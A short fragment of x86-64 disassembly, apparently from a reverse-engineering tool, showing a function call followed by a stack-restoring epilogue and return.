call fcn.14001e7f3
lea rsp, [r13 + 0x4c0]
pop rdi
pop rbp
pop r13
ret